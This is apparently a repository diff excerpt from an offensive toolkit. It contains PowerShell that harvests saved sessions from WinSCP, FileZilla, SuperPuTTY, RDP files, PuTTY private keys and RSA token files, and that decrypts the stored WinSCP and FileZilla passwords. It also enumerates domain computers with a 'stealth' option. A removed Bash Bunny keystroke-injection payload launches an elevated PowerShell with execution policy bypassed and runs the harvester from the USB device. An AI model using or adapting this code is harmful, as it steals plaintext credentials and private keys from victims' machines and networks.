$WinSCPSessionObject.Username = ((Get-ItemProperty -Path $PathToWinSCPSession -Name "Username" -ErrorAction SilentlyContinue).Username)
|
||||
$WinSCPSessionObject.Password = ((Get-ItemProperty -Path $PathToWinSCPSession -Name "Password" -ErrorAction SilentlyContinue).Password)
|
||||
|
||||
if ($WinSCPSessionObject.Password) {
|
||||
$MasterPassUsed = ((Get-ItemProperty -Path (Join-Path $Hive.PSPath "SOFTWARE\Martin Prikryl\WinSCP 2\Configuration\Security") -Name "UseMasterPassword" -ErrorAction SilentlyContinue).UseMasterPassword)
|
||||
|
||||
# If the user is not using a master password, we can crack it:
|
||||
if (!$MasterPassUsed) {
|
||||
$WinSCPSessionObject.Password = (DecryptWinSCPPassword $WinSCPSessionObject.Hostname $WinSCPSessionObject.Username $WinSCPSessionObject.Password)
|
||||
# Else, the user is using a master password. We can't retrieve plaintext credentials for it.
|
||||
} else {
|
||||
$WinSCPSessionObject.Password = "Saved in session, but master password prevents plaintext recovery"
|
||||
}
|
||||
}
|
||||
|
||||
# ArrayList.Add() by default prints the index to which it adds the element. Casting to [void] silences this.
|
||||
[void]$ArrayOfWinSCPSessions.Add($WinSCPSessionObject)
|
||||
|
||||
} # For each Session in AllWinSCPSessions
|
||||
|
||||
if ($OutCSV) {
|
||||
$ArrayOfWinSCPSessions | Export-CSV -Append -Path ($OutputDirectory + "\WinSCP.csv") -NoTypeInformation
|
||||
} else {
|
||||
Write-Output "WinSCP Sessions"
|
||||
$ArrayOfWinSCPSessions | Format-List | Out-String
|
||||
}
|
||||
|
||||
# Add the array of WinSCP session objects to the target user object
|
||||
$UserObject | Add-Member -MemberType NoteProperty -Name "WinSCP Sessions" -Value $ArrayOfWinSCPSessions
|
||||
|
||||
} # ProcessWinSCPLocal
|
||||
|
||||
function ProcesssdtidFile($sdtidExtensionFilesINodes) {
|
||||
|
||||
foreach ($Path in $sdtidExtensionFilesINodes.VersionInfo.FileName) {
|
||||
|
||||
$sdtidFileObject = "" | Select-Object -Property "Source","Path"
|
||||
|
||||
$sdtidFileObject."Source" = $Source
|
||||
$sdtidFileObject."Path" = $Path
|
||||
|
||||
[void]$ArrayOfsdtidFiles.Add($sdtidFileObject)
|
||||
|
||||
}
|
||||
|
||||
if ($ArrayOfsdtidFiles.count -gt 0) {
|
||||
|
||||
$UserObject | Add-Member -MemberType NoteProperty -Name "sdtid Files" -Value $ArrayOfsdtidFiles
|
||||
|
||||
if ($OutCSV) {
|
||||
$ArrayOfsdtidFiles | Select-Object * | Export-CSV -Append -Path ($OutputDirectory + "\RSA sdtid Files.csv") -NoTypeInformation
|
||||
} else {
|
||||
Write-Output "RSA Tokens (sdtid)"
|
||||
$ArrayOfsdtidFiles | Select-Object * | Format-List | Out-String
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
} # Process sdtid File
|
||||
|
||||
function ProcessRDPFile($RDPExtensionFilesINodes) {
|
||||
|
||||
# Extracting the filepath from the i-node information stored in RDPExtensionFilesINodes
|
||||
foreach ($Path in $RDPExtensionFilesINodes.VersionInfo.FileName) {
|
||||
|
||||
$RDPFileObject = "" | Select-Object -Property "Source","Path","Hostname","Gateway","Prompts for Credentials","Administrative Session"
|
||||
|
||||
$RDPFileObject."Source" = (Hostname)
|
||||
|
||||
# The next several lines use regex pattern matching to store relevant info from the .rdp file into our object
|
||||
$RDPFileObject."Path" = $Path
|
||||
$RDPFileObject."Hostname" = try { (Select-String -Path $Path -Pattern "full address:[a-z]:(.*)").Matches.Groups[1].Value } catch {}
|
||||
$RDPFileObject."Gateway" = try { (Select-String -Path $Path -Pattern "gatewayhostname:[a-z]:(.*)").Matches.Groups[1].Value } catch {}
|
||||
$RDPFileObject."Administrative Session" = try { (Select-String -Path $Path -Pattern "administrative session:[a-z]:(.*)").Matches.Groups[1].Value } catch {}
|
||||
$RDPFileObject."Prompts for Credentials" = try { (Select-String -Path $Path -Pattern "prompt for credentials:[a-z]:(.*)").Matches.Groups[1].Value } catch {}
|
||||
|
||||
if (!$RDPFileObject."Administrative Session" -or !$RDPFileObject."Administrative Session" -eq 0) {
|
||||
$RDPFileObject."Administrative Session" = "Does not connect to admin session on remote host"
|
||||
} else {
|
||||
$RDPFileObject."Administrative Session" = "Connects to admin session on remote host"
|
||||
}
|
||||
if (!$RDPFileObject."Prompts for Credentials" -or $RDPFileObject."Prompts for Credentials" -eq 0) {
|
||||
$RDPFileObject."Prompts for Credentials" = "No"
|
||||
} else {
|
||||
$RDPFileObject."Prompts for Credentials" = "Yes"
|
||||
}
|
||||
|
||||
[void]$ArrayOfRDPFiles.Add($RDPFileObject)
|
||||
|
||||
}
|
||||
|
||||
if ($ArrayOfRDPFiles.count -gt 0) {
|
||||
|
||||
$UserObject | Add-Member -MemberType NoteProperty -Name "RDP Files" -Value $ArrayOfRDPFiles
|
||||
|
||||
if ($OutCSV) {
|
||||
$ArrayOfRDPFiles | Select-Object * | Export-CSV -Append -Path ($OutputDirectory + "\Microsoft rdp Files.csv") -NoTypeInformation
|
||||
} else {
|
||||
Write-Output "Microsoft RDP Connection Files (.rdp)"
|
||||
$ArrayOfRDPFiles | Select-Object * | Format-List | Out-String
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
} # Process RDP File
|
||||
|
||||
function ProcessPPKFile($PPKExtensionFilesINodes) {
|
||||
|
||||
# Extracting the filepath from the i-node information stored in PPKExtensionFilesINodes
|
||||
foreach ($Path in $PPKExtensionFilesINodes.VersionInfo.FileName) {
|
||||
|
||||
# Private Key Encryption property identifies whether the private key in this file is encrypted or if it can be used as is
|
||||
$PPKFileObject = "" | Select-Object -Property "Source","Path","Protocol","Comment","Private Key Encryption","Private Key","Private MAC"
|
||||
|
||||
$PPKFileObject."Source" = (Hostname)
|
||||
|
||||
# The next several lines use regex pattern matching to store relevant info from the .ppk file into our object
|
||||
$PPKFileObject."Path" = $Path
|
||||
|
||||
$PPKFileObject."Protocol" = try { (Select-String -Path $Path -Pattern ": (.*)" -Context 0,0).Matches.Groups[1].Value } catch {}
|
||||
$PPKFileObject."Private Key Encryption" = try { (Select-String -Path $Path -Pattern "Encryption: (.*)").Matches.Groups[1].Value } catch {}
|
||||
$PPKFileObject."Comment" = try { (Select-String -Path $Path -Pattern "Comment: (.*)").Matches.Groups[1].Value } catch {}
|
||||
$NumberOfPrivateKeyLines = try { (Select-String -Path $Path -Pattern "Private-Lines: (.*)").Matches.Groups[1].Value } catch {}
|
||||
$PPKFileObject."Private Key" = try { (Select-String -Path $Path -Pattern "Private-Lines: (.*)" -Context 0,$NumberOfPrivateKeyLines).Context.PostContext -Join "" } catch {}
|
||||
$PPKFileObject."Private MAC" = try { (Select-String -Path $Path -Pattern "Private-MAC: (.*)").Matches.Groups[1].Value } catch {}
|
||||
|
||||
# Add the object we just created to the array of .ppk file objects
|
||||
[void]$ArrayOfPPKFiles.Add($PPKFileObject)
|
||||
|
||||
}
|
||||
|
||||
if ($ArrayOfPPKFiles.count -gt 0) {
|
||||
|
||||
$UserObject | Add-Member -MemberType NoteProperty -Name "PPK Files" -Value $ArrayOfPPKFiles
|
||||
|
||||
if ($OutCSV) {
|
||||
$ArrayOfPPKFiles | Select-Object * | Export-CSV -Append -Path ($OutputDirectory + "\PuTTY ppk Files.csv") -NoTypeInformation
|
||||
} else {
|
||||
Write-Output "PuTTY Private Key Files (.ppk)"
|
||||
$ArrayOfPPKFiles | Select-Object * | Format-List | Out-String
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
} # Process PPK File
|
||||
|
||||
function ProcessFileZillaFile($FileZillaXML) {
|
||||
|
||||
# Locate all <Server> nodes (aka session nodes), iterate over them
|
||||
foreach($FileZillaSession in $FileZillaXML.SelectNodes('//FileZilla3/Servers/Server')) {
|
||||
# Hashtable to store each session's data
|
||||
$FileZillaSessionHash = @{}
|
||||
|
||||
# Iterates over each child node under <Server> (aka session)
|
||||
$FileZillaSession.ChildNodes | ForEach-Object {
|
||||
|
||||
$FileZillaSessionHash["Source"] = $Source
|
||||
# If value exists, make a key-value pair for it in the hash table
|
||||
if ($_.InnerText) {
|
||||
if ($_.Name -eq "Pass") {
|
||||
$FileZillaSessionHash["Password"] = $_.InnerText
|
||||
} else {
|
||||
# Populate session data based on the node name
|
||||
$FileZillaSessionHash[$_.Name] = $_.InnerText
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
# Create object from collected data, excluding some trivial information
|
||||
[void]$ArrayOfFileZillaSessions.Add((New-Object PSObject -Property $FileZillaSessionHash | Select-Object -Property * -ExcludeProperty "#text",LogonType,Type,BypassProxy,SyncBrowsing,PasvMode,DirectoryComparison,MaximumMultipleConnections,EncodingType,TimezoneOffset,Colour))
|
||||
|
||||
} # ForEach FileZillaSession in FileZillaXML.SelectNodes()
|
||||
|
||||
# base64_decode the stored encoded session passwords, and decode protocol
|
||||
foreach ($Session in $ArrayOfFileZillaSessions) {
|
||||
$Session.Password = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($Session.Password))
|
||||
if ($Session.Protocol -eq "0") {
|
||||
$Session.Protocol = "Use FTP over TLS if available"
|
||||
} elseif ($Session.Protocol -eq 1) {
|
||||
$Session.Protocol = "Use SFTP"
|
||||
} elseif ($Session.Protocol -eq 3) {
|
||||
$Session.Protocol = "Require implicit FTP over TLS"
|
||||
} elseif ($Session.Protocol -eq 4) {
|
||||
$Session.Protocol = "Require explicit FTP over TLS"
|
||||
} elseif ($Session.Protocol -eq 6) {
|
||||
$Session.Protocol = "Only use plain FTP (insecure)"
|
||||
}
|
||||
}
|
||||
|
||||
if ($OutCSV) {
|
||||
$ArrayOfFileZillaSessions | Export-CSV -Append -Path ($OutputDirectory + "\FileZilla.csv") -NoTypeInformation
|
||||
} else {
|
||||
Write-Output "FileZilla Sessions"
|
||||
$ArrayOfFileZillaSessions | Format-List | Out-String
|
||||
}
|
||||
|
||||
# Add the array of FileZilla session objects to the target user object
|
||||
$UserObject | Add-Member -MemberType NoteProperty -Name "FileZilla Sessions" -Value $ArrayOfFileZillaSessions
|
||||
|
||||
} # ProcessFileZillaFile
|
||||
|
||||
function ProcessSuperPuTTYFile($SuperPuTTYXML) {
|
||||
|
||||
foreach($SuperPuTTYSessions in $SuperPuTTYXML.ArrayOfSessionData.SessionData) {
|
||||
|
||||
foreach ($SuperPuTTYSession in $SuperPuTTYSessions) {
|
||||
if ($SuperPuTTYSession -ne $null) {
|
||||
|
||||
$SuperPuTTYSessionObject = "" | Select-Object -Property "Source","SessionId","SessionName","Host","Username","ExtraArgs","Port","Putty Session"
|
||||
|
||||
$SuperPuTTYSessionObject."Source" = $Source
|
||||
$SuperPuTTYSessionObject."SessionId" = $SuperPuTTYSession.SessionId
|
||||
$SuperPuTTYSessionObject."SessionName" = $SuperPuTTYSession.SessionName
|
||||
$SuperPuTTYSessionObject."Host" = $SuperPuTTYSession.Host
|
||||
$SuperPuTTYSessionObject."Username" = $SuperPuTTYSession.Username
|
||||
$SuperPuTTYSessionObject."ExtraArgs" = $SuperPuTTYSession.ExtraArgs
|
||||
$SuperPuTTYSessionObject."Port" = $SuperPuTTYSession.Port
|
||||
$SuperPuTTYSessionObject."PuTTY Session" = $SuperPuTTYSession.PuttySession
|
||||
|
||||
[void]$ArrayOfSuperPuTTYSessions.Add($SuperPuTTYSessionObject)
|
||||
}
|
||||
}
|
||||
|
||||
} # ForEach SuperPuTTYSessions
|
||||
|
||||
if ($OutCSV) {
|
||||
$ArrayOfSuperPuTTYSessions | Export-CSV -Append -Path ($OutputDirectory + "\SuperPuTTY.csv") -NoTypeInformation
|
||||
} else {
|
||||
Write-Output "SuperPuTTY Sessions"
|
||||
$ArrayOfSuperPuTTYSessions | Out-String
|
||||
}
|
||||
|
||||
# Add the array of SuperPuTTY session objects to the target user object
|
||||
$UserObject | Add-Member -MemberType NoteProperty -Name "SuperPuTTY Sessions" -Value $ArrayOfSuperPuTTYSessions
|
||||
|
||||
} # ProcessSuperPuTTYFile
|
||||
|
||||
####################################################################################
|
||||
####################################################################################
|
||||
## WinSCP Deobfuscation Helper Functions
|
||||
####################################################################################
|
||||
####################################################################################
|
||||
|
||||
# Gets all domain-joined computer names and properties in one object
|
||||
function GetComputersFromActiveDirectory {
|
||||
|
||||
$objDomain = New-Object System.DirectoryServices.DirectoryEntry
|
||||
$objSearcher = New-Object System.DirectoryServices.DirectorySearcher
|
||||
$objSearcher.SearchRoot = $objDomain
|
||||
if ($ExcludeDC) {
|
||||
Write-Verbose "Skipping enumeration against the Domain Controller(s) for stealth."
|
||||
$Filter = "(&(objectCategory=computer)(!userAccountControl:1.2.840.113556.1.4.803:=8192))"
|
||||
} else {
|
||||
$Filter = "(objectCategory=computer)"
|
||||
}
|
||||
|
||||
$objSearcher.Filter = $Filter
|
||||
|
||||
$colProplist = "name"
|
||||
|
||||
foreach ($i in $colPropList){$objSearcher.PropertiesToLoad.Add($i)}
|
||||
|
||||
$objSearcher.FindAll()
|
||||
|
||||
}
|
||||
|
||||
function DecryptNextCharacterWinSCP($remainingPass) {
|
||||
|
||||
# Creates an object with flag and remainingPass properties
|
||||
$flagAndPass = "" | Select-Object -Property flag,remainingPass
|
||||
|
||||
# Shift left 4 bits equivalent for backwards compatibility with older PowerShell versions
|
||||
$firstval = ("0123456789ABCDEF".indexOf($remainingPass[0]) * 16)
|
||||
$secondval = "0123456789ABCDEF".indexOf($remainingPass[1])
|
||||
|
||||
$Added = $firstval + $secondval
|
||||
|
||||
$decryptedResult = (((-bnot ($Added -bxor $Magic)) % 256) + 256) % 256
|
||||
|
||||
$flagAndPass.flag = $decryptedResult
|
||||
$flagAndPass.remainingPass = $remainingPass.Substring(2)
|
||||
|
||||
$flagAndPass
|
||||
|
||||
}
|
||||
|
||||
function DecryptWinSCPPassword($SessionHostname, $SessionUsername, $Password) {
|
||||
|
||||
$CheckFlag = 255
|
||||
$Magic = 163
|
||||
|
||||
$len = 0
|
||||
$key = $SessionHostname + $SessionUsername
|
||||
$values = DecryptNextCharacterWinSCP($Password)
|
||||
|
||||
$storedFlag = $values.flag
|
||||
|
||||
if ($values.flag -eq $CheckFlag) {
|
||||
$values.remainingPass = $values.remainingPass.Substring(2)
|
||||
$values = DecryptNextCharacterWinSCP($values.remainingPass)
|
||||
}
|
||||
|
||||
$len = $values.flag
|
||||
|
||||
$values = DecryptNextCharacterWinSCP($values.remainingPass)
|
||||
$values.remainingPass = $values.remainingPass.Substring(($values.flag * 2))
|
||||
|
||||
$finalOutput = ""
|
||||
for ($i=0; $i -lt $len; $i++) {
|
||||
$values = (DecryptNextCharacterWinSCP($values.remainingPass))
|
||||
$finalOutput += [char]$values.flag
|
||||
}
|
||||
|
||||
if ($storedFlag -eq $CheckFlag) {
|
||||
$finalOutput.Substring($key.length)
|
||||
}
|
||||
|
||||
$finalOutput
|
||||
}
|
Binary file not shown.
Before Width: | Height: | Size: 51 KiB |
|
@ -1,44 +0,0 @@
|
|||
#!/bin/bash
|
||||
#
|
||||
# Title: SessionBunny
|
||||
# Author: 0iphor13
|
||||
# Version: 1.0
|
||||
# Category: Credentials
|
||||
# Attackmodes: HID, Storage
|
||||
|
||||
LED SETUP
|
||||
|
||||
Q DELAY 500
|
||||
|
||||
GET SWITCH_POSITION
|
||||
DUCKY_LANG de
|
||||
|
||||
Q DELAY 500
|
||||
|
||||
ATTACKMODE HID STORAGE
|
||||
|
||||
#LED STAGE1 - DON'T EJECT - PAYLOAD RUNNING
|
||||
|
||||
LED STAGE1
|
||||
|
||||
Q DELAY 1000
|
||||
RUN WIN "powershell Start-Process powershell -Verb runAs"
|
||||
Q ENTER
|
||||
Q DELAY 1000
|
||||
Q ALT j
|
||||
Q DELAY 500
|
||||
|
||||
Q DELAY 1000
|
||||
Q STRING "powershell -exec bypass"
|
||||
Q DELAY 500
|
||||
Q ENTER
|
||||
Q DELAY 250
|
||||
Q STRING "Import-Module((gwmi win32_volume -f 'label=''BashBunny''').Name+'\payloads\\$SWITCH_POSITION\SessionBunny.ps1')"
|
||||
Q DELAY 250
|
||||
Q ENTER
|
||||
Q DELAY 250
|
||||
Q STRING "Invoke-SessionBunny -Everything"
|
||||
Q DELAY 250
|
||||
Q ENTER
|
||||
|
||||
LED FINISH
|
Loading…
Reference in New Issue